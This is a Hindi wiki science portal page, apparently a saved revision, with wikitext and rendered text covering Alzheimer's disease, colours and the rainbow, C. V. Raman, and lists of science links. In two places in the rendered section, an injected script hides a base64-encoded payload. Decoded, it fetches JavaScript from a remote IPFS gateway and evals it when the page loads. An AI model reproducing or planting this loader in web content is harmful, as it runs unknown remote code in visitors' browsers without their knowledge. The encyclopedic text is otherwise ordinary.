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* यहाँ हम [[भारत]] के विज्ञान संबंधी विषयों की जानकारी प्राप्त कर सकते हैं। विज्ञान से आशय ऐसे ज्ञान से है, जो यथार्थ हो, जिसका परीक्षण और प्रयोग किया जा सके तथा जिसके बारे में भविष्यवाणी सम्भव हो।
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* विज्ञान और प्रौद्योगिकी के क्षेत्र में भारत की प्राचीनकाल की उपलब्धियों से लेकर इस शताब्दी में प्राप्त महान सफलताओं की एक लंबी और अनूठी परंपरा रही है।
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* विज्ञान के सिद्धान्त और नियम सार्वदेशिक और सार्वकालिक होते हैं और इनका विशद विवेचन सम्भव है।
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* यहाँ हम भारत के विज्ञान संबंधी विषयों की जानकारी प्राप्त कर सकते हैं।  
 
* विज्ञान से आशय ऐसे ज्ञान से है, जो यथार्थ हो, जिसका परीक्षण और प्रयोग किया जा सके तथा जिसके बारे में भविष्यवाणी सम्भव हो।
 
 
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* विज्ञान के सिद्धान्त और नियम सार्वदेशिक और सार्वकालिक होते हैं और इनका विशद विवेचन सम्भव है।
 
* विज्ञान और प्रौद्योगिकी के क्षेत्र में भारत की प्राचीनकाल की उपलब्धियों से लेकर इस शताब्दी में प्राप्त महान सफलताओं की एक लंबी और अनूठी परंपरा रही है।
 
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<div align="center" style="color:#34341B;">'''[[चंद्रशेखर वेंकट रामन]]'''</div>
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<div align="center" style="color:#34341B;">'''[[अल्ज़ाइमर]]'''</div>
[[चित्र:C.V Raman.jpg|right|100px|चंद्रशेखर वेंकट रामन|link=चंद्रशेखर वेंकट रामन]]
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<div id="rollnone"> [[चित्र:4.1alzheimers.jpg |right|100px|अल्ज़ाइमर रोग से पीड़ित एक वृद्ध औरत |link=अल्ज़ाइमर]] </div>
* चंद्रशेखर वेंकट रामन का जन्म तिरुचिरापल्ली शहर में [[7 नवम्बर]] [[1888]] को हुआ था। इनके पिता '''चंद्रशेखर अय्यर और माँ पार्वती अम्माल''' थीं।
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* वेंकटरामन ब्रिटेन के प्रतिष्ठित 'कैम्ब्रिज यूनिवर्सिटी' की 'एम॰ आर॰ सी॰ लेबोरेट्रीज़ ऑफ़ म्यलूकुलर बायोलोजी' के स्ट्रकचरल स्टडीज़ विभाग के प्रमुख वैज्ञानिक थे।
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        '''[[अल्ज़ाइमर]]''' / एल्ज़ाइमर /  विस्मृति रोग (भूलने का रोग) वृद्धावस्था का एक असाध्य रोग माना गया है। यह याददाश्त को प्रभावित करने वाली एक मानसिक गड़बड़ी है, जिसे डिमेंशिया कहा जाता है। अल्ज़ाइमर इसी मानसिक गड़बड़ी का सबसे सामान्य रूप है। सन [[1906]] में जर्मन के '''डॉ. ओलोए अल्जीमीर''' ने एक महिला के दिमाग के परीक्षण में पाया कि उसमें कुछ गांठे पड़ गई हैं, जिन्हें चिकित्सक ‘प्लेट’ कहते हैं। यही रोग उस डॉ. के नाम पर अल्ज़ाइमर रोग कहलाया जाने लगा। अल्ज़ाइमर व्यक्ति के [[मस्तिष्क]] को प्रभावित करने वाली बीमारी होती है। इस बीमारी से ग्रसित होने के कई वर्ष बाद इसका लक्षण दिखाई देता है। इस बीमारी के लक्षणों में याददाश्त की कमी होना, जिसमें रोगी धीरे-धीरे सब कुछ भूलने लग जाता है। यहाँ तक कि वह स्वयं को भी भूल जाता है। ज़्यादा बढ़ जाने पर व्यक्ति अपनी याददाश्त पूरी तरह से गंवा देता है। अल्ज़ाइमर पीड़ित बुजुर्ग छोटी-छोटी बातों को भूलने लगते हैं। 60 या 65 वर्ष पार करते करते अक्सर लोगों को इस बीमारी का शिकार होना पड़ता है। इसके बाद हर दस साल में अल्ज़ाइमर के मरीज़ों में वृद्धि होती जाती है। कम उम्र के लोगों में अमूमन यह नहीं होता है।  '''[[अल्ज़ाइमर|.... और पढ़ें]]'''
* '''रामन प्रभाव की खोज [[28 फ़रवरी]], [[1928]]''' को हुई थी। इस महान खोज की याद में 28 फ़रवरी का दिन हम '''राष्ट्रीय विज्ञान दिवस''' के रूप में मनाते हैं।  
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* 'रामन प्रभाव' के लिये '''[[1930]] में श्री रामन को भौतिकी का नोबेल पुरस्कार''' प्रदान किया गया और रामन [[भौतिक विज्ञान]] में [[नोबेल पुरस्कार]] प्राप्त करने वाले [[एशिया]] के पहले व्यक्ति बने।
 
* सन [[1954]] को भारत सरकार ने '[[भारत रत्न]]' की सर्वोच्च उपाधि देकर सम्मानित किया। [[21 नवम्बर]], [[1970]] को 82 वर्ष की आयु में वैज्ञानिक डॉ. रामन की मृत्यु हुई। '''[[चंद्रशेखर वेंकट रामन|.... और पढ़ें]]'''
 
 
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[[चित्र:Colourful Feathers.jpg|right|100px|link=रंग]]
*रंगो का हमारे जीवन में बहुत महत्व है। रंग, मानवी आँखों के वर्णक्रम से मिलने पर छाया सम्बंधी गतिविधियों से उत्पन्न होते हैं।
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*मूल रूप से [[इंद्रधनुष]] के सात रंगों को ही रंगों का जनक माना जाता है, ये सात रंग [[लाल रंग|लाल]], [[नारंगी रंग|नारंगी]], [[पीला रंग|पीला]], [[हरा रंग|हरा]], [[आसमानी रंग|आसमानी]], [[नीला रंग|नीला]] तथा [[बैंगनी रंग|बैंगनी]] हैं।
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        '''[[रंग]]''' [शुद्ध: रङ्‌ग] अथवा वर्ण का हमारे जीवन में बहुत महत्त्व है। रंग, मानवी आँखों के वर्णक्रम से मिलने पर छाया सम्बंधी गतिविधियों से उत्पन्न होते हैं। मूल रूप से [[इंद्रधनुष]] के सात रंगों को ही रंगों का जनक माना जाता है, ये सात रंग [[लाल रंग|लाल]], [[नारंगी रंग|नारंगी]], [[पीला रंग|पीला]], [[हरा रंग|हरा]], [[आसमानी रंग|आसमानी]], [[नीला रंग|नीला]] तथा [[बैंगनी रंग|बैंगनी]] हैं। रंगों की उत्पत्ति का सबसे प्राकृतिक स्रोत [[सूर्य ग्रह|सूर्य]] का प्रकाश है। प्रिज़्म की सहायता से देखने पर पता चलता है कि सूर्य सात रंग ग्रहण करता है जिसे सूक्ष्म रूप [[अंग्रेज़ी भाषा]] में '''VIBGYOR''' और [[हिन्दी]] में '''बैं जा नी ह पी ना ला''' कहा जाता है। रंग हज़ारों वर्षों से हमारे जीवन में अपनी जगह बनाए हुए हैं। जहाँ आजकल कृत्रिम रंगों का उपयोग जोरों पर है वहीं प्रारंभ में लोग प्राकृतिक रंगों को ही उपयोग में लाते थे। उल्लेखनीय है कि [[मोहन जोदड़ो]] और [[हड़प्पा]] की खुदाई में [[सिंधु घाटी सभ्यता]] की जो चीज़ें मिलीं उनमें ऐसे बर्तन और मूर्तियां भी थीं, जिन पर रंगाई की गई थी। '''[[रंग|.... और पढ़ें]]'''  
*रंगो की उत्पत्ति का सबसे प्राकृतिक स्त्रोत [[सूर्य ग्रह|सूर्य]] का प्रकाश है। प्रिज्म की सहायता से देखने पर पता चलता है कि सूर्य सात रंग ग्रहण करता है जिसे सूक्ष्म रूप [[अंग्रेज़ी भाषा]] में '''VIBGYOR''' और [[हिन्दी]] में '''बैं जा नी ह पी ना ला''' कहा जाता है।
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*रंग हजारों वर्षों से हमारे जीवन में अपनी जगह बनाए हुए हैं। जहाँ आजकल कृत्रिम रंगों का उपयोग जोरों पर है वहीं प्रारंभ में लोग प्राकृतिक रंगों को ही उपयोग में लाते थे।  
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*उल्लेखनीय है कि [[मोहन जोदड़ो]] और [[हड़प्पा]] की खुदाई में [[सिंधु घाटी सभ्यता]] की जो चीजें मिलीं उनमें ऐसे बर्तन और मूर्तियां भी थीं, जिन पर रंगाई की गई थी। '''[[रंग|.... और पढ़ें]]'''
 
 
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* [[जीवाणु]]
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* [[हाथी]]
* [[विषाणु]]
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* [[बाघ]]
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* [[मोर]]
 
* [[प्रोजेरिया]]
 
* [[प्रोजेरिया]]
 
* [[मधुमेह]]
 
* [[मधुमेह]]
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* [[रुधिर वाहिनियाँ]]
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* [[कार्बनिक रसायन]]
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* [[आर्यभट्ट]]
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* [[वराहमिहिर]]
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* [[के. राधाकृष्णन]]
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* [[भौतिक राशियाँ, मानक एवं मात्रक]]
 
* [[हाइड्रोजन]]
 
* [[हाइड्रोजन]]
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* [[ऐलुमिनियम]]
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* [[स्वर्ण]]
 
* [[दाँत]]
 
* [[दाँत]]
* [[त्वरण]]
 
 
* [[मात्रक]]
 
* [[मात्रक]]
 
* [[न्यूटन के नियम]]
 
* [[न्यूटन के नियम]]
 
* [[पाचन तन्त्र]]
 
* [[पाचन तन्त्र]]
 
* [[डॉक्टर होमी जहाँगीर भाभा]]
 
* [[डॉक्टर होमी जहाँगीर भाभा]]
* [[सत्येंद्रनाथ बोस]]
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* [[रंग]]
* [[जगदीश चंद्र बोस]]
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* [[मस्तिष्क]]
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* [[मेरुरज्जु]]
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* [[तन्त्रिका तन्त्र]]
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* [[ऊतक]]
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* [[भौतिक रसायन]]
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* [[ग्रन्थि]]
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* [[चेचक]]
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* [[प्लेग]]
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* [[बवासीर]]
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* [[रेबीज़]]
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* [[अकार्बनिक रसायन]]
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* [[रक्त कोशिका]]
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* [[हीमोग्लोबिन]] 
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* [[सारस]]
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* [[कौआ]]  
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12:59, 10 सितम्बर 2017 का अवतरण

Science-icon.gif
  • यहाँ हम भारत के विज्ञान संबंधी विषयों की जानकारी प्राप्त कर सकते हैं। विज्ञान से आशय ऐसे ज्ञान से है, जो यथार्थ हो, जिसका परीक्षण और प्रयोग किया जा सके तथा जिसके बारे में भविष्यवाणी सम्भव हो।
  • विज्ञान और प्रौद्योगिकी के क्षेत्र में भारत की प्राचीनकाल की उपलब्धियों से लेकर इस शताब्दी में प्राप्त महान सफलताओं की एक लंबी और अनूठी परंपरा रही है।
  • विज्ञान के सिद्धान्त और नियम सार्वदेशिक और सार्वकालिक होते हैं और इनका विशद विवेचन सम्भव है।
  • भारतकोश पर लेखों की संख्या प्रतिदिन बढ़ती रहती है जो आप देख रहे वह "प्रारम्भ मात्र" ही है...<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
मुख्य आकर्षण- विज्ञान सामान्य ज्ञान · विज्ञान कोश<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
विशेष आलेख
अल्ज़ाइमर रोग से पीड़ित एक वृद्ध औरत

        अल्ज़ाइमर / एल्ज़ाइमर / विस्मृति रोग (भूलने का रोग) वृद्धावस्था का एक असाध्य रोग माना गया है। यह याददाश्त को प्रभावित करने वाली एक मानसिक गड़बड़ी है, जिसे डिमेंशिया कहा जाता है। अल्ज़ाइमर इसी मानसिक गड़बड़ी का सबसे सामान्य रूप है। सन 1906 में जर्मन के डॉ. ओलोए अल्जीमीर ने एक महिला के दिमाग के परीक्षण में पाया कि उसमें कुछ गांठे पड़ गई हैं, जिन्हें चिकित्सक ‘प्लेट’ कहते हैं। यही रोग उस डॉ. के नाम पर अल्ज़ाइमर रोग कहलाया जाने लगा। अल्ज़ाइमर व्यक्ति के मस्तिष्क को प्रभावित करने वाली बीमारी होती है। इस बीमारी से ग्रसित होने के कई वर्ष बाद इसका लक्षण दिखाई देता है। इस बीमारी के लक्षणों में याददाश्त की कमी होना, जिसमें रोगी धीरे-धीरे सब कुछ भूलने लग जाता है। यहाँ तक कि वह स्वयं को भी भूल जाता है। ज़्यादा बढ़ जाने पर व्यक्ति अपनी याददाश्त पूरी तरह से गंवा देता है। अल्ज़ाइमर पीड़ित बुजुर्ग छोटी-छोटी बातों को भूलने लगते हैं। 60 या 65 वर्ष पार करते करते अक्सर लोगों को इस बीमारी का शिकार होना पड़ता है। इसके बाद हर दस साल में अल्ज़ाइमर के मरीज़ों में वृद्धि होती जाती है। कम उम्र के लोगों में अमूमन यह नहीं होता है। .... और पढ़ें

चयनित लेख
Colourful Feathers.jpg

        रंग [शुद्ध: रङ्‌ग] अथवा वर्ण का हमारे जीवन में बहुत महत्त्व है। रंग, मानवी आँखों के वर्णक्रम से मिलने पर छाया सम्बंधी गतिविधियों से उत्पन्न होते हैं। मूल रूप से इंद्रधनुष के सात रंगों को ही रंगों का जनक माना जाता है, ये सात रंग लाल, नारंगी, पीला, हरा, आसमानी, नीला तथा बैंगनी हैं। रंगों की उत्पत्ति का सबसे प्राकृतिक स्रोत सूर्य का प्रकाश है। प्रिज़्म की सहायता से देखने पर पता चलता है कि सूर्य सात रंग ग्रहण करता है जिसे सूक्ष्म रूप अंग्रेज़ी भाषा में VIBGYOR और हिन्दी में बैं जा नी ह पी ना ला कहा जाता है। रंग हज़ारों वर्षों से हमारे जीवन में अपनी जगह बनाए हुए हैं। जहाँ आजकल कृत्रिम रंगों का उपयोग जोरों पर है वहीं प्रारंभ में लोग प्राकृतिक रंगों को ही उपयोग में लाते थे। उल्लेखनीय है कि मोहन जोदड़ो और हड़प्पा की खुदाई में सिंधु घाटी सभ्यता की जो चीज़ें मिलीं उनमें ऐसे बर्तन और मूर्तियां भी थीं, जिन पर रंगाई की गई थी। .... और पढ़ें

कुछ चुने हुए लेख
विज्ञान श्रेणी वृक्ष
चयनित चित्र

ऑस्ट्रेलियाई भौतिकीविद् मार्क ओलिफ़ेंट के साथ होमी जहाँगीर भाभा

ऑस्ट्रेलियाई भौतिकीविद् मार्क ओलिफ़ेंट के साथ होमी जहाँगीर भाभा (1954)

संबंधित लेख

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